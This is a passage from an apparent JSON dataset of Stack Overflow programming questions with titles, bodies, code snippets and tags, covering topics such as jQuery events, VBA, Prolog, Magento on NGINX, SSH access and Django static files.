right: 8px }\n#brdmenu a:link, #brdmenu a:visited { border: none;text-decoration:
none }\n#brdmenu a:hover, #brdmenu a:active { border-bottom: 2px solid #fff}\n\
na#skip-to-content { position: absolute;bottom: 15px;right: 20px }\na#skip-to-
content:hover, a#skip-to-content:active { border: none;text-decoration:
underline }\n\na#rss-icon { position: absolute;z-index: 10;top: 17px;right: 20px }\
na#rss-icon:hover { border: none;text-decoration: none }\n\n#brdfooter
{ background: url(../../img/RVS/fbg.png) no-repeat 50% 100%;padding: 0 10px }\
n#brdfooter .box { background: transparent;border: 0;padding: 3px 10px 0 }\n\
n#brdstats, #top-active-users { width: 49%;padding-top: 8px }\n#brdstats .box,
#top-active-users .box { background: #f5f5f5;margin-bottom: 12px;padding:
5px;border: 1px solid #999 }\n\n#brdstats { float: left;margin: 0 }\n#brdstats h2 {
display: none }\n#brdstats .conr { float: none;width: 100%;text-align: left }\
n#brdstats .conl { float: none }\n\n#top-active-users { float: right }\n#top-
active-users span { line-height: 1.8em }\n\n#forum-legend { margin: 0 0 20px;text-
align: center }\n#forum-legend img { margin: 0 5px }\n#forum-legend small { margin:
0 10px 0 0 }\n\n#latest-articles { margin-left: 20px }\n#latest-articles, #latest-
reviews { float: left; height: 146px; overflow-y: scroll; overflow-x: hidden;
padding-right: 20px }\n\n#latest ul a:link, #latest ul a:visited { color:
#111;border: none }\n#latest ul a:hover, #latest ul a:active { color: #b42000 }\
n#latest ul a:hover span, #latest ul a:active span { color: #000 }\n\n#latest ul a
span { color: #666 }\n#latest ul .lt-post-time { float: left;clear: left;padding: 0
10px 0 0;width: 60px;text-align: right }\n\n\n#user-box { float: right;padding: 5px
5px 5px 10px;border-left: 1px dotted #999;width: 220px }\n#user-box img { float:
left;margin: 0 10px 0 0 }\n\n#search-bar { margin-top: 6px }\n", "html css
webkit"], "700674": ["Generating user interfaces from Database model", "I want to
know how to generate UI from a ERD? I also want to learn how to increase efficiency
by using UML and ERD.\n", "", "user-interface uml generation erd"], "5876495":
["Concatenating Variables Into String to be Set to a Range in VBA", "I am having a
problem with a particular line of code:\n\nWhere alphabet is a string containing
uppercase letters A to Z.\nI keep getting the following error:\n\nI tried creating
a String \"inRange\" and changing the code to this:\n\nBut that did not help (as I
thought it wouldn't). Any suggestions?\n", "ActiveSheet.Range(\"A\" & rowCount
& \":\" & Mid(alphabet, totHdrLngth, 1) & belowRowCount)\n", "excel variables
excel-vba range concatenation"], "5313055": ["jQuery .on click event does not
occur", "Hi and thanks for reading. I've been trying to avoid using HTML
references and instead putting these events in my .js file. After reading about
jQuery's .click() and then .on() events, I tried to use this in my code for a
button. \nedit In my haste to make up a that didn't have the rest of the
contents, I entered \"name\" instead of \"id\". Many answers have recommended I
either switch to a or reference, but my main problem has been that I can't even
hit the alert before the reference to the id/name. Thanks again for your answers.\
nHTML:\n\nJS:\n\nThe above code won't even get to the alert when I click the
button. I've also tried referring to the button by name and ID, and going by .\nI
tried using the format as well to have the click event be set after the document
is ready. Neither way seems to work. At this point,
I resorted to and have a function in my .js file, but the function won't detect
and just deletes all tags. \nThe rest of my javascript is working. I haven't
tried including this at the bottom of the HTML, but I'm trying to avoid scripts in
my HTML as well. For completeness' sake, I've been testing on both Chrome and
Firefox, using a .jsp file to render the HTML.\nThanks again.\nEdits\nhere's how
I'm referencing my jquery and js, directly copy-pasted.\n\nhere is how my html
looks leading up to the div where the is inserted:\n\nHere is how the is
generated:\n\nOn another note, which I should have seen before as significant: the
HTML that the or is referencing has been created by another js function.\n",
"onclick=\"__\"", "javascript jquery onclick jquery-events jquery-on"], "3562730":
["tutorials for ASP.NET MVC 3", "Where can I find best MVC 3 tutorials. I have
checked asp.net site which has some plural site videos. No doubt they are good but
are very limited for beginners like me.\nPlease help\n", "", "asp.net-mvc-3
tutorials video-tutorials"], "5141825": ["jQuery date/time picker", "I've been
looking around for a decent jQuery plugin that can handle both dates and times.
The core UI is great, but unfortunately I need to be able to take time in as
well.\nI've found a few hacks for the DatePicker to work with times, but they all
seem pretty inelegant and Google isn't turning up anything nice.\nIs there a good
jQuery plugin for selecting dates and times in a single UI control with a usable
interface?\n", "DatePicker", "javascript jquery datepicker datetimepicker"],
"2432309": ["How to deploy a Windows forms project with a database connection to
some other machine?", "I have a small demo windows forms application, which has 2
forms.\n\nenter a name in the first form, which will add the name to a table in the
database. The back-end used is SQL Server 2008.\nAfter successful entry in the
database, the user is prompted to the second form, which is basically a demo
calculator.\n\nMy question is how can I deploy this project to some other machine.
Wana create a normal executable file, in the other machine.\nI was able to deploy
one another windows forms app, which was without a SQL database connection, by
using the Setup and Deployment wizard of the VS 2008.\nAlso, does the other machine
would have to have certain prerequisites, like presence of SQL server in it?\nI
googled... found some MSDN links but could not find meaningful results.\nAny
assistance or an external pointer to this scenario would be highly appreciated.\n",
"", "c# winforms sql-server-2008 ado.net"], "2744144": ["What kind of arguments
does this function take?", "\nI tried passing this function a string like ; but
that didn't work. What are examples of elements that I can pass?\n", "function
countChars(elm) { \n if (elm.nodeType == 3) { // TEXT_NODE \n return
elm.nodeValue.length; \n } \n var count = 0; \n for (var i = 0, child;
child = elm.childNodes[i]; i++) { \n count += countChars(child); \
n } \n return count; \n} \n", "javascript"], "986415": ["Can't compare
strings in Python", "I have this code that should open and read two text files, and
match when a word is present in both. The match is represented by
printing \"SUCESS\" and by writing the word to a temp.txt file. \n\nlistac.txt is
formatted as\n\npaths.txt is formated as\n\nhence I use the split function in order
to get the first /asadasda (within paths.txt) before the dot. \nThe problem is that
the words never seem to match, I have even printed out each comparison before each
IF statement and they are equal, is there something else that Python does before
comparing strings?\n=======\nThanks everyone for the help. As suggested by you, I
cleaned the code so It ended up like this: \n\nApparently, having p declared and
initialized before entering the second for loop makes a difference in the
comparison down the road. When I declared p and d within the second for loop, it
wouldn't work. I don't know the reason for that but If someone does, I am listening
:)\nThanks again!\n", "dir = open('listac.txt','r')\npath = open('paths.txt','r')\
npaths = path.readlines()\npaths_size = len(paths)\nmatches = open('temp.txt','w')\
ndirs = dir.readlines()\n\nfor pline in range(0,len(paths)):\n for dline in
range(0,len(dirs)):\n p = paths[pline].rstrip('\\n').split(\".\")
[0].replace(\" \", \"\")\n dd = dirs[dline].rstrip('\\n').replace(\"
\", \"\")\n #print p.lower()\n #print dd.lower()\n
if (p.lower() == dd.lower()):\n print \"SUCCESS\\n\"\n
matches.write(str(p).lower() + '\\n')\n", "python string compare match readline"],
"5817445": ["Loopback connection via PHP's getimage size crashes server (Magento's
CMS)", "We were able to trace down a problem that is crashing our NGINX server
running Magento until the following point:\nBackground info: Magento Backend has a
CMS function with a WYSIWYG editor.\nThis editor loads some pictures via a
controller in magento (cms/directive).\nWhen we set the NGINX error_log level to
info, we get the following lines (line break inserted for better readability):\n\
nWhen checking the code in the debugger, the following call does never return (in \
u00b4Varien_Image_Adapter_Abstract::getMimeType()`\n\nThe filename requests is\n\
nan URL to the same server which is requesting the script\na link to a static .gif
that is not existing.\n\nSample URL: \n \nWhen the above line executed, any
subsequent request to the NGNIX server does not respond any more. After waiting for
around 10 minutes, the NGINX server starts answering requests again.\nI tried to
reproduce the error with a simple test script that only calls with the given URL -
but this not crash. It simple leads to an exception saying that the URL could not
be loaded (which is fine as the URL is wrong)\n", "2012/10/22 18:05:40 [info]
14105#0: *1 client closed prematurely connection, \n so upstream connection is
closed too while sending request to upstream, client: \n XXXXXXXXX, server:
test.local, request: \"GET \n
index.php/admin/cms_wysiwyg/directive/___directive/BASEENCODEDIMAGEURL,,/ \n
HTTP/1.1\", \n upstream: \"fastcgi://127.0.0.1:9024\", host: \"test.local\" \n",
"php nginx fastcgi magento"], "4835565": ["How do I monitor net traffic for a given
application using .net?", "How can I monitor the network traffic for a given app
using .net?\nUPDATE: How can I monitor the network traffic of another application
using .net?\n", "", ".net network-programming network-traffic"], "5337848": ["Call
application after apply patch (MSP)", "I use the tutorial from the following to
create MSP file.\nhttp://www.codeproject.com/KB/install/dotnetpatching.aspx?
fid=209224&df=90&mpp=25&noise=3&sort=Position&view=Quick&select=2567089\nHowever, I
want to call my application after apply MSP. Please help me. I am using Visual
Studio 2010 Ultimate or you can suggest me any tools to make this work. Thanks.\n",
"", ".net visual-studio deployment installer"], "5434364": ["Android build fails
when build with Eclipse", "I got a strange problem lately with my eclipse build.
When building my app via Unity everything works fine and the build runs ok, but I
need to get it working with eclipse as I have some plugins I want to use.\nI'm
using the same Manifest.xml as generated by Unity only changing the package name
and the name of the activity as stated in the docs. Has someone a hint what could
be the problem?\nLogcat throws out:\n\nMy HyperJump.java class\n\nMy Manifest.xml:\
n\nAny hint would be helpful!\n", "03-27 15:08:39.632: W/dalvikvm(5289): Unable to
resolve superclass of Lde/indiegames/hyperjump/HyperJumpActivity; (34)\n03-27
15:08:39.632: W/dalvikvm(5289): Link of class
'Lde/indiegames/hyperjump/HyperJumpActivity;' failed\n03-27 15:08:39.632:
D/AndroidRuntime(5289): Shutting down VM\n03-27 15:08:39.632: W/dalvikvm(5289):
threadid=1: thread exiting with uncaught exception (group=0x40015560)\n03-27
15:08:39.679: E/AndroidRuntime(5289): FATAL EXCEPTION: main\n03-27 15:08:39.679:
E/AndroidRuntime(5289): java.lang.RuntimeException: Unable to instantiate activity
ComponentInfo{de.indiegames.hyperjump/de.indiegames.hyperjump.HyperJumpActivity}:
java.lang.ClassNotFoundException: de.indiegames.hyperjump.HyperJumpActivity in
loader dalvik.system.PathClassLoader[/mnt/asec/de.indiegames.hyperjump-2/pkg.apk]\
n03-27 15:08:39.679: E/AndroidRuntime(5289): at
android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1569)\n03-27
15:08:39.679: E/AndroidRuntime(5289): at
android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1663)\n03-27
15:08:39.679: E/AndroidRuntime(5289): at
android.app.ActivityThread.access$1500(ActivityThread.java:117)\n03-27
15:08:39.679: E/AndroidRuntime(5289): at
android.app.ActivityThread$H.handleMessage(ActivityThread.java:931)\n03-27
15:08:39.679: E/AndroidRuntime(5289): at
android.os.Handler.dispatchMessage(Handler.java:99)\n03-27 15:08:39.679:
E/AndroidRuntime(5289): at android.os.Looper.loop(Looper.java:130)\n03-27
15:08:39.679: E/AndroidRuntime(5289): at
android.app.ActivityThread.main(ActivityThread.java:3683)\n03-27 15:08:39.679:
E/AndroidRuntime(5289): at java.lang.reflect.Method.invokeNative(Native
Method)\n03-27 15:08:39.679: E/AndroidRuntime(5289): at
java.lang.reflect.Method.invoke(Method.java:507)\n03-27 15:08:39.679:
E/AndroidRuntime(5289): at
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839)\
n03-27 15:08:39.679: E/AndroidRuntime(5289): at
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597)\n03-27 15:08:39.679:
E/AndroidRuntime(5289): at dalvik.system.NativeStart.main(Native Method)\n03-27
15:08:39.679: E/AndroidRuntime(5289): Caused by:
java.lang.ClassNotFoundException: de.indiegames.hyperjump.HyperJumpActivity in
loader dalvik.system.PathClassLoader[/mnt/asec/de.indiegames.hyperjump-2/pkg.apk]\
n03-27 15:08:39.679: E/AndroidRuntime(5289): at
dalvik.system.PathClassLoader.findClass(PathClassLoader.java:240)\n03-27
15:08:39.679: E/AndroidRuntime(5289): at
java.lang.ClassLoader.loadClass(ClassLoader.java:551)\n03-27 15:08:39.679:
E/AndroidRuntime(5289): at
java.lang.ClassLoader.loadClass(ClassLoader.java:511)\n03-27 15:08:39.679:
E/AndroidRuntime(5289): at
android.app.Instrumentation.newActivity(Instrumentation.java:1021)\n03-27
15:08:39.679: E/AndroidRuntime(5289): at
android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1561)\n03-27
15:08:39.679: E/AndroidRuntime(5289): ... 11 more\n03-27 15:08:39.687:
W/ActivityManager(104): Force finishing activity
de.indiegames.hyperjump/.HyperJumpActivity\n03-27 15:08:40.202:
W/ActivityManager(104): Activity pause timeout for HistoryRecord{405479b8
de.indiegames.hyperjump/.HyperJumpActivity}\n", "java android eclipse manifest
unity3d"], "3576324": ["Is Sphinx worth it for non-full text search?", "I'm facing
some problems to optimize SELECT query on a 150M row tables. I'd like to search a
md5 ( char(32)) as fast as possible. Do you think Sphinx makes sense in that
scenario?\nI've read a lot of things, and it looks realy good for full text search.
Is it worth it for my example?\n\nThank you,\n", "name char(64)\nlname char(253)\
nmd5 char(32)\nid bigint(20)\n", "mysql sql linux full-text-search sphinx"],
"2446340": ["passwordless ssh", "May be this is a repeat question, but I couldn't
find any answer that works for me in the search result. \nI am trying to connect to
a prod_host from my office_desktop_host which I have connected from windows/putty
over VPN on my laptop. \nInterestingly, when I am in office I can ssh to this
prod_host from my office_desktop_host without any passwords\nBaically I am trying
to run some script, that barfs because it prompts for password and if I press
cancel gives me :\n \nI have changed the hosts.allow on the prod_host to have SHD:
ALL [which might be risky but is a diff discussion]\n1] How can I do a passwordless
ssh and why is it different between the same hosts, when I am on VPN\n",
"ssh_exchange_identification: Connection closed by remote host.", "unix
authentication ssh"], "662528": ["How to know whether my each java programs is
running on its own different JVM instance?", "I am running many different java
programs simultaneously on single System, \nI need to check whether these programs
are running on same or different JVM instance of \nperticular System ?\nAll
suggestions are appreciated.\nThanks.\n", "", "java multithreading jvm"],
"4438320": ["What is the purpose of Mozilla's \"Rapid Release Plan\"?", "Per
Wikipedia :\n\nFirefox 5 is the first release as part of Mozilla's new rapid
release plan, matching Google Chrome's rapid release schedule and rapid version
number increments.\n\nFrom the same article, \n\nA draft roadmap indicates that
Mozilla hopes to release versions 6 and 7 in 2011 following the release of Firefox
5 in June 2011. These versions will be smaller incremental updates, primarily
focusing on improving speed, stability and security.\n\n\nWhy do they want to
increase the base version of software instead of releasing smaller version
revisions? Is it simply because calling something just because software 2.0 sounds
better than 1.3.4?\nIf you just give something an arbitrary version number, not
based on changes, does this mean that the version is not reflective of the quantity
of changes anymore?\n\n", "", "firefox google-chrome browser versioning releases"],
"3437509": ["Bulk fax handling", "I have been tasked with finding/creating a bulk
fax solution to fax individual reports to hundred of our clients (each report will
be unique). We would prefer to stay away from a per page service as the cost would
add up rather quickly. \nThe key issue is we need to send all of these faxes sent
at roughly the same time everyday. \nI would like to know what other people are
using to facilitate bulk faxing, with the only constraint being it would have to be
a windows based solution.\n", "", "windows visual-studio fax vb.net visual-studio-
2008"], "2473826": ["How to create a identification code or key for web\uff1f", "I
use IP,USERID,DATETIME ... to create security code in my web App. But, i want to
know more infomation of \"How to create security code\".\ne.g: \n\nThen i encrypt
str:\n\nOK,the string strC is my [security code].\nI want to know more about it!\
nHelp me? Any way?\n", "string str=\"192.168.0.1,myid,20121227,12345\";\n", "web"],
"604397": ["How to find foreign-key dependencies pointing to one record in
Oracle?", "I have a very large Oracle database, with many many tables and millions
of rows. I need to delete one of them, but want to make sure that dropping it will
not break any other dependent rows that point to it as a foreign key record. Is
there a way to get a list of all the other records, or at least table schemas, that
point to this row? I know that I could just try to delete it myself, and catch the
exception, but I won't be running the script myself and need it to run clean the
first time through. \nI have the tools SQL Developer from Oracle, and PL/SQL
Developer from AllRoundAutomations at my disposal.\nThanks in advance!\n", "",
"database oracle database-schema"], "2775413": ["Is it required to typedef a
primitive type to an enum?", "I was looking through the header file to see how
Apple writes their enumerations and came across this piece of code:\n\nThis leaves
me with a couple questions.\n\nWhy have they used anonymous enumerations? Is this
method advantageous?\nIs the line a good idea to include normally, or is it only
used here because they have declared an anonymous enumeration?\n\n", "NSString",
"objective-c enums header typedef anonymous-types"], "4835566": ["How can I see the
repository URL to which my working directory is pointed?", "I use the switch
feature of Subversion quite often, but sometimes I forget where some of my working
directories are pointed. Is there a way to easily find out the URL to which my
working copy is pointed? Right now, the best way I know how is to right click, and
go to the TortoiseSVN repo browser.\n", "", "svn tortoisesvn switch"], "3015702":
["\u0421onvert unicode (UTF-8) filenames to ANSI (DOS)", "Directory listing with
broken filenames encoding\n\nIs there any tools for windows to convert filenames
from UTF-8 to ANSI?\n", "C:\\Downloads\\1>dir\n18.01.2010 10:45
<DIR> \u0420\u040e\u0420?\u0420>\u0420?\u0420?\u0421?\u0420+\n18.01.2010
10:45 <DIR> \u0420?\u0420?\u0421'\u0420?\u0420>\u0420?\u0420\u0454\
n18.01.2010 10:45 <DIR> \u0420\"\u0420?\u0421?\u0420?\u0420\u00b0\
u0421\u256a\u0420\u00b0-\u0420>\u0420\u0447\u0421\u256a\u0420\u0447\u0420+\u0420?\
u0420\u0451 \u0420\u0454\u0420?\u0421?\u0420\u0457\u0421?\u0421?\n18.01.2010 10:45
<DIR> \u0420\u2022\u0420>\u0420\u2022\u0420?\u0420\u045e\u0420\u00a0\
u0420?\u0420?\u0420?\n", "windows utf-8 filenames"], "2740090": ["Size for my
Double type", "Hy,\nI want that one of my columns in my product table stands for
totalPrice. Which size of double type is recommended?\n", "", "mysql"], "3128676":
["where {table1.field} *= {table2.field} syntax", "I have just picked up an SQL
statement that was written by someone a couple of weeks ago (nobody seems to know
who).\nAs part of the statement, in the clause, they have something like: .\nWhat
exactly is going on here? I assume some sort of join, but what join and why and,
generically, why would someone put this in the clause?\n", "WHERE", "sql sybase"],
"1791632": ["Apache Virtual Host with directory aliases", "I'm trying to set up a
dynamic virtual host in apache with a directory alias pointing to a difirent path
for every domain.\nHere's what I'm trying to achive.\nSay I have 2 domains:\n\nI
want both to point to the same index.php file (C:/cms/index.php). Now the hard part
... I want directories or certain file types to point to a diffirent path for each
domain.\nExample:\n\nHowever the admin directory should point to the same path
again for all sites\n\nIs there a way to achieve this kind of behaviour in apache
2.2 without having to create a virtualhost entry for each new domain?\n", "*
www.domain1.com\n* www.domein2.com\n", "apache2 virtualhost virtualdirectories mod-
vhost-alias"], "1858793": ["Comments and content_object", "I'm trying to figure out
why this works: \n\n[returns a list of the objects the comments are attached to] \
nBut this doesn't: \n\nIn both cases, each \"c\" is a Comment instance. So why does
c have a content_object property in the first case but not in the second? Thanks.\
n", ">>> comments = Comment.objects.all() \n>>>[c.content_object for c in comments]
\n", "django comments"], "5385294": ["How to set style for flex piechart individual
label?", "I want some specific labels of piechart to be displayed in customized
styles, for example,\nfontsize=10, color='Red'...But there seems no handlers for
individual labels provided by Flex.\nSo how to implement this?\n", "", "flex label
pie-chart"], "2402280": ["Why does my text has the justify effect when I didnt made
it to have this effect (css/php)", "Why my text has the justify effect?\nIn my
whole site, I make echos and i dont specify a \"text-align:justify;\"\nbut my text
is still justifying. Justify is when you make the browser window smaller, the text
moves so it fits in the window. I tryed making something like this:\n\netc....\nbut
it just makes the text go in the center and it keeps the justify effect.\nplease
help me =[\nthanks\n", "<?php\necho \"<h1>some stuff.</h1>\";\n?>\n<html>\n<head>\
n<style>\nh1\n{\ntext-align:center;\n}", "php css text justify"], "3952247":
["Determine whether the div is opened or closed using jquery?", "I am want to
create a javascript function using jQuery which will close the div if div is opened
and vice-versa.\nFor that I need to determine whether a particular div is opened or
closed?\nSo is there any method available which satisfies my requirement?\nAnything
like $('div#myContainer').isOpened() ???\n", "", "jquery div close open"],
"6005487": ["Packaging python applications with PyQt and PyQwt (for linux only)",
"This is a follow on from my question here, I think I will have to look at a
different method.\nI'm wanting to package my python program with some of it's
dependencies. I'm aware of tools like cx freeze or bb freeze, but as you can see in
the linked question they have issues for my situation. \nI don't want my users to
have to install my application using the super user.\nWhat I would really like is
to package pyqt4 and pyqwt with my application, but use the system python and other
system libraries. Is this possible?\n", "", "python linux distribution pyqt4"],
"1738894": ["Alternative for MapHierarchy() in EF Code first CTP 5", "How can I set
the following in the new CTP?\n\n", "modelBuilder.Entity<RequestBase>()\n
.MapHierarchy()\n .Case<RequestBase>(b => new { b.Id, b.Comment,
Discriminator = 0 })\n .Case<Request1>(s => new { request1_Id =
Column.Id, Discriminator = 1 })\n .Case<Request2>(m => new
{ request2_Id = Mission.Id, m.Comment, m.Date, Discriminator = 2 })\n
.ToTable(\"dbo.Requests\");\n", "c# entity-framework code-first entity-framework-
ctp5"], "2471293": ["Blocked connections passing through firewall. What is wrong?",
"In our company we have a small business router (Cisco RV082) on which we are using
its standard configuration (block all incoming traffic). We also have an SMTP relay
configured (using WS2008R2) so that our internal applications can send email
through google apps (which requires authentication).\nThe thing is that the server
was being used to send spam. We fixed the problem by only allowing the server to
relay email from our internal IP address range (10.0.0.0/16).\nMy concern is that
there was a way by which external IPs connected to the network and that underlying
problem has not been fixed, but I cannot imagine how these machines connected.\nAny
thoughts?\n", "", "networking firewall network-security"], "699180": ["First record
not picked up in pagination script (despite the fact it is set to show all records
> NOW() as query)", "This is my pagination script, which I've been working on:\
nhttp://pastebin.com/4mpjdWKD\nThis is the query page which displays the records -
but it omits the first record:\nhttp://pastebin.com/kJZy9fv0\nThe actual query is
this:\n\nand the dates are all in the future, yet to even get the first record to
show, I have to duplicate it in PhpMyadmin - so what is wrong with my script?\nIs
it something to do with mysql_fetch_array, and if so, where do I need to fix the
script?\nIn any case, here's the data from the database, all showing records for
future events:\nhttp://pastebin.com/gwcv7qza\nIn short, the basic problem is, I
have to manually duplicate a record to get it to show in the script sometimes, and
I'm trying to find a fix - but I'm having trouble looking for a solution. I've
tried myself, and it didn't work.\nI hope I've explained this well enough.\nAny
help on fixing this is appreciated (just post the solutions in my pastebin links
where it allows you to submit a correction/amendment to the pastebin, if you
want.)\nThanks!\n", " <?php\n //Require the file that contains the required
classes\n include(\"pmcPagination.php\");\n\n //PhpMyCoder Paginator\n
$paginator = new pmcPagination(20, \"page\");\n\n //Connect to the database\n
mysql_connect(\"localhost\",\"root\",\"PASSWORD HIDDEN FOR SECURITY REASONS\");\n
//Select DB\n mysql_select_db(\"housemde\");\n\n //Select only results for
today and future \n $result = mysql_query(\"SELECT * FROM housemd WHERE
expiration > NOW() \n order by airdate;\");\n $recordCount =
mysql_num_rows($result);\n\n\n //You can also add reuslts to paginate here\n
mysql_data_seek($result,0) ;\n while ($row = mysql_fetch_array($result))\
n {\n $paginator->add(new paginationData($row['programme'],\n
$row['channel'],\n $row['airdate'],\n
$row['expiration'], \n $row['episode'], \n
$row['series'], \n $row['epno'], \n
$row['setreminder']));\n }\n ?>\n", "php mysql arrays pagination recordset"],
"4696842": ["apache & mod_pagespeed + varnish question", "I have the following
architecture on the web layer.\n\nWhere varnish and mod_pagespeed is installed with
default config.\nNow when i access the url http://example.org:8080 then i can see
in the source code that mod_pagespeed was invoked and has rewritten the page (on
the second refresh mind you as it wasn't cached the first time)\nHowever when i
access the url http://example.org:80 mod_pagespeed is not invoked and the html code
is rendered unchanged.\nThe following shows the http headers recieved on each
junction\n\nDoes anyone have any clues as of why this is happening? is it a bug in
mod_pagespeed? is it caused by a config setting which is or isn't set in varnish or
mod_pagespeed?\nAny help to further drill down this issue is greatly appreciated.\
n", "Varnish <-> Apache2 (mod_pagespeed <-> mod_jk) <-> Tomcat\n ^ ^
^\n | | |________: mod_jk\n |
|_______________________________________________: port 8080\n |
__________________________________________________________: port 80\n", "tomcat
architecture apache2 varnish"], "5979214": ["Ask Webservice from PHP with right use
of parameters", "I try to call the Webservice from Prestashop.\nIt works at all but
because I'm a novice with PHP, I think I did something wrong.\nThe usage for the
service is like this:\n\nIf is set, the call is fine:\n\nTo get more details about
the product, it's necessary to use one more parameter: .\nSo I tried out this:\n\
nNow the URL does not work anymore as this is the result:\n\nWhat I need instead is
this result to make it work:\n\nWhy does PHP handle the parameters differently? \
nFor , it does not add a key but for display it does.\nWhat is the right usage?\n",
"$webService = new PrestaShopWebservice(PS_SHOP_PATH, PS_WS_AUTH_KEY, DEBUG);\n//
Here we set the option array for the Webservice : we want customers resources\
n$opt['resource'] = 'products';\n// We set an id if we want to retrieve infos from
a customer\nif (isset($_GET['id']))\n{\n $opt['id'] = (int)$_GET['id']; // cast
string => int for security measures \n} \n\n// Call\n$xml = $webService-
>get($opt);\n", "php web-services prestashop"], "2792544": ["Returning JSON via
node.js response.write has unexpected results", "Here is a snippet:\n\nThe var
objects is an array of objects I populate by querying redis via node-redis, each
with 6 properties. In the console, I get exactly what I would expect. In a client,
however, I receive an array with only the last object. Wondering if it was the
client's deseralizer, I captured it in Fiddler and it is still that array with a
single object.\nHere is what I get in the console via console.log:\n\nI must be
doing something wrong...\n", "objects = [];\nclient.keys 'objects*', (err,keys) ->\
nfor (i = 0; i < keys.length; i++){\n client.hgetall(keys[i], function(err, obj)
{\n objects.push(obj);\n if (i === keys.length){\n
response.writeHead(200, {'Content-Type': 'application/json'});\n
console.log(JSON.stringify(objects));\n
response.write(JSON.stringify(objects));\n response.end();\n }\n }\n}\n",
"json node.js stringify"], "4855508": ["Partitioning a large integer using Prolog",
"I've been trying to teach myself Prolog for a few weeks. Right now I'm trying to
find all ways to make a large integer from several smaller integers, using a
predicate that I want to work like:\n\nthus finding all ways to make 4 from 1, 2
and 3. Duplicate solutions like [1, 2, 1] and [2, 1, 1] are fine but probably not
hard to avoid. Here's what I have right now:\n\nThe idea is that N will eventually
become zero, and the subtractions that got it there will be placed in the third
argument as a list. The third and fourth rules only operate on positive integers,
the second rule says not to run out of inputs, and the first rule signals that the
partition is valid when N reaches zero. Problem is, I only get:\n\nThe first and
second rules make sense to me, the third and fourth seem iffy but I can't find
anything specifically wrong with them. I thought that the output tail might not
get instantiated when M becomes zero, but the first rule takes care of that. Or is
there some fundamental misunderstanding of how Prolog works (which seems likely to
happen often for me)?\nAlso, are the parts redundant? They seem redundant but I
can't be sure until I get something that works.\nEdit: I'm using GNU Prolog.\n",
"partition/3", "list integer prolog partition"], "3321436": ["How long do
DataAnnotations stay associated with a type?", "As has been documented in a number
of places, in order for -based validation to work outside of MVC and Silverlight,
the following code needs to execute, first:\n\n(Example from here. I'll use the
types above in my question.)\nNow, what you're doing here involves static methods
and types: there are no instance variables except for the instance of you create
and associate with the type .\nSo: how long does this stay in effect?\nDoes it go
out of scope when the method ends? I don't think so, but my tests are
inconclusive.
Is it in any way related to the lifetime of instances of ? Again, my tests
suggest it might be, but it's not clear what the rules are. \nAnyone know, or can
point me to some documentation?\n", "System.ComponentModel.DataAnnotation", ".net
validation dataannotations"], "3972263": ["python win32api.LoadKeyboardLayout(),
doesnt change language in IDLE shell?", "Can someone help me out please...I'm
trying to start my first programming project. It will be implemented in python.\nI
need to have a textbox (which i am using wxpython for). If the user enters any
text into this text box, then I want it to appear as arabic. I wanted to this by
automagically changing the users Keyboard to an arabic layout when the cursor lands
in the given text box.\nSo i found this pywin32 module, which has a function
LoadKeyboardLayout()\nSo i am trying to test this in IDLE, to see if I can make it
accept arabic text into IDLE, to see if it works. So I enter, into IDLE:\n\nThis
then returns, 67175425, the decimal equivalent of hex:'4010401' whcih I believe is
the locale ID for Arabic. SO I think wow! I've done it, but when I try typing after
this, in the IDLE window, it continues to type normal english characters.\nCan
someone please explain my errors and guide me towards a good solution. \nThanks, \
nMe\n\nUPDATE\nOkay, I've been trying to solve this problem ever since posting the
damn question.\nNo luck.\nThen, I thought, \"ok, screw it, instead of testing it
quicly in IDLE, I will just try it out, in situ, in my source code for the
project.\"\nWTF - it worked first time, giving exact behaviour that I wanted.\nThen
I tried it in a different IDE, in the interpreted window, and again, IT WORKED
straight away!\nSo clearly my issue is with IDLE, in its interpreting mode.\nCan
anyone explain why it doesn't work in the IDLE shell??? \n",
"win32api.LoadKeyboardLayout('00000401',1)\n", "python winapi keyboard python-
idle"], "630971": ["Error on display static content", "I have a template with a
static image. Each second call of this page the image doesn't display and I get
next error in the console:\n\nHow can I fix it?\n", "Development server is running
at http://127.0.0.1:8000/\nQuit the server with CTRL-BREAK.\n[24/Oct/2010 11:25:36]
\"GET /index/ HTTP/1.1\" 200 20058\n[24/Oct/2010 11:25:36] \"GET /images/logo.png
HTTP/1.1\" 500 65126\n[24/Oct/2010 11:25:37] \"GET /index/ HTTP/1.1\" 200 20058\
n[24/Oct/2010 11:25:37] \"GET /images/logo.png HTTP/1.1\" 200 6439\n[24/Oct/2010
11:25:39] \"GET /index/ HTTP/1.1\" 200 20058\nTraceback (most recent call last):\n
File \"C:\\Python27\\lib\\site-packages\\django\\core\\servers\\basehttp.py\", line
281, in run self.finish_response()\n File \"C:\\Python27\\lib\\site-packages\\
django\\core\\servers\\basehttp.py\", line 321, in finish_response
self.write(data)\n File \"C:\\Python27\\lib\\site-packages\\django\\core\\
servers\\basehttp.py\", line 417, in write\nself._write(data)\n File \"C:\\
Python27\\lib\\socket.py\", line 322, in write\nself.flush()\n File \"C:\\
Python27\\lib\\socket.py\", line 301, in flush\
nself._sock.sendall(view[write_offset:write_offset+buffer_size])\nerror: [Errno
10053] An established connection was aborted by the software in your host machine\
nTraceback (most recent call last):\n File \"C:\\Python27\\lib\\SocketServer.py\",
line 284, in _handle_request_noblock\nself.process_request(request,
client_address)\n File \"C:\\Python27\\lib\\SocketServer.py\", line 310, in
process_request\nself.finish_request(request, client_address)\n File \"C:\\
Python27\\lib\\SocketServer.py\", line 323, in finish_request\
nself.RequestHandlerClass(request, client_address, self)\n File \"C:\\Python27\\
lib\\site-packages\\django\\core\\servers\\basehttp.py\", line 562, in __init__\n
BaseHTTPRequestHandler.__init__(self, *args, **kwargs)\n File \"C:\\Python27\\lib\\
SocketServer.py\", line 641, in __init__\nself.finish()\n File \"C:\\Python27\\
lib\\SocketServer.py\", line 694, in finish\nself.wfile.flush()\n File \"C:\\
Python27\\lib\\socket.py\", line 301, in flush\
nself._sock.sendall(view[write_offset:write_offset+buffer_size])\nerror: [Errno
10053] An established connection was aborted by the software in your host machine\
